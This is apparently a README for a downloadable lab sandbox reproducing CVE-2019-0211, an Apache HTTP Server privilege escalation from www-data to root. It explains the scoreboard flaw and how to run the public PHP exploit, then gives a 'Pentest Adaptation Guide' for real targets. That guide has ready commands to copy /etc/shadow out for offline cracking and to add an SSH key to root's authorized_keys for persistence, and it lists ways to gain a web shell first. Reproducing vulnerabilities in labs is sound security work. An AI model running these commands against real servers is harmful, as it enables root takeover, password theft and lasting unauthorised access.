All labs
CVE-2019-0211high

Apache HTTP Server Local Privilege Escalation

Apache HTTP Server

Local Privilege Escalation (LPE)

Download sandbox (20 KB)Includes Dockerfile, docker-compose, exploit, verify.sh, and this README.

CVE-2019-0211 — Apache HTTP Server Local Privilege Escalation

Overview

FieldValue
CVECVE-2019-0211
NicknameCARPE (DIEM)
SoftwareApache HTTP Server
Version Tested2.4.29 (Ubuntu 18.04 bionic, unpatched)
Vulnerable Range2.4.17 – 2.4.38 (fixed in 2.4.39)
TypeLocal Privilege Escalation (LPE)
CVSS v3.17.8 (High)
Attack VectorLocal
AuthenticationRequired (low-privilege shell / www-data)
CISA KEVYes — actively exploited in the wild

In Apache HTTP Server 2.4.17 through 2.4.38, code executing inside a less-privileged worker process (e.g., PHP code running under www-data) can manipulate the Apache scoreboard shared-memory area to plant an arbitrary function pointer. When the Apache parent process (running as root) performs a graceful restart — as triggered daily by logrotate at 6:25 AM — it executes that function pointer, running attacker-controlled commands with full root privileges.

Quick Start

bash verify.sh

This builds the vulnerable image, starts Apache, runs the exploit, triggers a graceful restart, and prints the proof of root code execution. No manual steps required.

Environment

PropertyValue
Base imageubuntu:18.04 (bionic, main repo only — no security updates)
Apache version2.4.29-1ubuntu4 (vulnerable, unpatched)
PHP versionphp7.2 via libapache2-mod-php7.2
MPMprefork (required — this is how mod_php is used)
Workers10 (raises exploit success rate to ~95%)
Port8080 → 80
CredentialsNone (exploit runs via any PHP page access)
Setup time~60 seconds (image build) + ~5 seconds (Apache start)
docker compose up -d --build   # start
docker compose logs -f         # watch logs
docker compose down -v         # teardown

Exploit

PropertyValue
Fileexploit/cfreal-carpediem.php (PHP, planted in web root)
Wrapperexploit/exploit.py (Python orchestrator)
Sourcehttps://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache
AuthorCharles Fol (@cfreal_)
LanguagePHP (exploit core) + Python 3 (orchestration)
Success rate~87% with 5 workers; ~95% with 10 workers (this lab uses 10)

How It Works

Vulnerability Mechanism

Apache uses a POSIX shared-memory segment (/dev/zero) called the scoreboard (ap_scoreboard_image) to communicate between the root parent process and its worker children. Each worker has a process_score struct in the scoreboard that includes a bucket field.

On graceful restart the parent process iterates over all buckets using all_buckets[bucket_id] and calls:

(*mutex)->meth->child_init(mutex, pool, fname);

Because workers have full read/write access to the shared memory, a malicious worker can overwrite its bucket index so that all_buckets[bucket_id] points to an attacker-controlled mutex structure — one whose child_init function pointer points to system(). fname (the mutex file path) becomes the shell command string.

Exploit Steps

  1. Memory discovery — The PHP script reads /proc/self/maps to locate:

    • The Apache scoreboard SHM (/dev/zero mapping, 0x10000–0x16000 bytes)
    • system() address inside libc-*.so
    • zend_object_std_dtor address inside libphp7*.so
    • all_buckets region (Apache private heap between SHM and ld.so)
    • libapr-1.so (to find apr_proc_mutex_unix_lock_meth_t layout)
  2. UAF for arbitrary r/w — Using a JsonSerializable object and DateInterval, the script triggers a PHP Use-After-Free. It exploits the freed object to control a zend_string header, inflating its len field so that $this->abc becomes a view into arbitrarily large amounts of memory.

  3. Locate all_buckets — The enlarged string is scanned for the apr_proc_mutex_unix_lock_meth_t vtable pattern that identifies the real all_buckets array in Apache's heap.

  4. Plant the hook — The script:

    • Finds a worker PID in the scoreboard and overwrites its bucket index to point far out of bounds into a region it can control.
    • Writes a fake mutex structure at that offset whose child_init slot points to system() and whose fname points to the payload string (e.g., id > /tmp/pwned).
  5. Trigger — An apache2ctl graceful (or logrotate in production) causes the root parent to call system("id > /tmp/pwned"), writing the output owned by root.

What Successful Exploitation Looks Like

[+] ROOT CODE EXECUTION CONFIRMED

  /tmp/pwned contains:
    uid=0(root) gid=0(root) groups=0(root)

[+] Evidence quality: STRONG

Manual Usage

# Start environment
docker compose up -d --build

# Step 1 — plant the scoreboard hook (runs as www-data inside Apache)
curl "http://localhost:8080/exploit.php?cmd=id+>+/tmp/pwned"

# Step 2 — trigger graceful restart as root
docker exec cve-2019-0211-victim apache2ctl graceful

# Step 3 — read the evidence written by root
sleep 3
docker exec cve-2019-0211-victim cat /tmp/pwned
# Expected: uid=0(root) gid=0(root) groups=0(root)

Or use the Python orchestrator:

# Inside the exploit/ directory
python3 exploit.py --target http://localhost:8080 \
                   --container cve-2019-0211-victim \
                   --cmd "id > /tmp/pwned"

Expected Output

======================================================
 CVE-2019-0211 — Apache HTTP Server 2.4.17-2.4.38
 Local Privilege Escalation via Scoreboard SHM
 CARPE (DIEM) by Charles Fol (@cfreal_)
======================================================
[*] Waiting for Apache to respond at http://localhost:8080 ...
[+] Apache is up.
[*] Planting scoreboard hook via exploit.php (runs as www-data)...
  --- PHP exploit output (truncated) ---
  CARPE (DIEM) ~ CVE-2019-0211
  PID: 42
  Fetching addresses
    shm: 0x7f4a2c000000-0x7f4a2c016000
    system: 0x7f4a2db3e390
    ...
  Scanning 10 workers
  Found PID 44 at index 1
  Done.
  ----------------------------------------
[*] Triggering graceful restart (apache2ctl graceful inside container)...
[+] Graceful restart issued.
[*] Waiting 3s for payload to execute ...

[!!!] ROOT CODE EXECUTION CONFIRMED [!!!]
[+] Contents of /tmp/pwned (written by root):
    uid=0(root) gid=0(root) groups=0(root)

Pentest Adaptation Guide

Target Discovery

Identify whether a target is running a vulnerable Apache version:

# Banner grab
curl -I http://TARGET/
# Look for: Server: Apache/2.4.x — anything 2.4.17–2.4.38 is potentially vulnerable

# Nmap version detection
nmap -sV -p 80,443 TARGET

# Nmap Apache vuln script
nmap -p 80 --script http-server-header TARGET

# Check version from error page
curl http://TARGET/nonexistent
# "Apache/2.4.29 (Ubuntu) Server at TARGET Port 80"

A version between 2.4.17 and 2.4.38 with MPM prefork (check with apache2ctl -V | grep MPM if you have local access) is vulnerable.

Adapting the Exploit

This exploit requires code execution as the web server user (www-data or equivalent). Common entry points in a real engagement:

Entry PointHow to get www-data shell
PHP RCEWeb shell, file upload, LFI + log poisoning
CGI scriptShell injection in POST params
Writable web rootUpload a PHP file via FTP/WebDAV
SSRF to localhostIf internal Apache is on a segmented network

Once you have a www-data shell or can execute PHP:

  1. Copy cfreal-carpediem.php to a web-accessible path on the target.
  2. Trigger it via HTTP — customize the cmd parameter:
    # Copy /etc/shadow for offline cracking (read-only proof)
    curl "http://TARGET/exploit.php?cmd=cp+/etc/shadow+/tmp/shadow%3bchmod+644+/tmp/shadow"
    # Add SSH key for persistent root access
    curl "http://TARGET/exploit.php?cmd=echo+ssh-rsa+AAAA...+>>+/root/.ssh/authorized_keys"
    
  3. Wait for logrotate to trigger apache2ctl graceful (default 6:25 AM daily), or look for another restart trigger:
    • logrotate -f /etc/logrotate.d/apache2 if you have sudo logrotate
    • Service management events you can influence
    • Scheduled jobs that cause Apache to restart

Safe Verification (Non-Destructive)

To prove exploitability without causing damage:

# Write a timestamped proof file — no data destroyed
curl "http://TARGET/exploit.php?cmd=date+>>+/tmp/.cvepoc%3becho+CVE-2019-0211>>+/tmp/.cvepoc"
# After graceful restart, read the file as www-data (readable by all):
curl "http://TARGET/exploit.php?cmd=chmod+644+/tmp/.cvepoc"
# Then: cat /tmp/.cvepoc  (if it shows root-owned content, it proves escalation)

# Use the Metasploit check command (module: exploit/multi/handler or local module)
# There is no direct Metasploit module as of 2024; manual PoC only.

Do NOT:

  • Overwrite /etc/passwd or shadow on production
  • Kill the Apache service (apache2ctl stop)
  • Use rm -rf or destructive payloads

Evidence Collection

Capture the following for a pentest report:

  1. Apache version banner: curl -I http://TARGET/ — screenshot
  2. PHP exploit output: full terminal capture showing address resolution
  3. Root evidence file: contents of /tmp/pwned showing uid=0(root)
  4. SUID binary: ls -la /usr/bin/python3.5 showing -rwsr-sr-x root root
  5. Timeline: exploit triggered at HH:MM:SS, evidence at HH:MM:SS+3s

CVSS finding classification: High (7.8) — Local, No User Interaction, Complete Confidentiality/Integrity/Availability impact. Document as "Authenticated Local Privilege Escalation from www-data to root."


References